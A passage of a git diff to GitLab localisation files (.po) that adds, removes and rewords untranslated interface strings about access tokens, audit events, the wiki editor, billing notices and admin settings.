msgstr ""
@@ -33785,7 +33584,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34528,9 +34327,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34615,9 +34420,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34717,9 +34519,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34732,6 +34543,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34780,6 +34594,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -35261,12 +35084,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -35357,21 +35174,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35507,9 +35309,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35846,9 +35645,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35978,6 +35783,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36275,9 +36083,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36287,9 +36092,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36371,9 +36182,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36463,6 +36271,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36481,9 +36292,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36517,6 +36325,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36586,7 +36397,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36727,7 +36541,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36859,6 +36673,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -37159,6 +36976,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -37168,6 +36994,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37370,7 +37199,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37391,6 +37220,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37406,16 +37238,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37430,10 +37262,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37703,6 +37541,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37742,9 +37583,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37922,21 +37760,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -38000,9 +37835,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -38162,12 +37994,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38195,18 +38021,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38219,12 +38039,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38294,12 +38108,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -38384,6 +38204,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38393,6 +38216,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38487,6 +38313,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38544,12 +38373,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38574,6 +38412,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38592,9 +38433,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38899,6 +38737,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38989,6 +38830,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -39072,9 +38916,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39464,6 +39305,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39500,9 +39344,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39563,7 +39404,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39644,7 +39485,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39707,6 +39551,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -40000,6 +39847,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -40102,6 +39952,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/mk_MK/gitlab.po b/locale/mk_MK/gitlab.po
index 22c8da0b1f8..d74b4e600e2 100644
--- a/locale/mk_MK/gitlab.po
+++ b/locale/mk_MK/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: mk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:44\n"
+"PO-Revision-Date: 2021-07-01 21:29\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
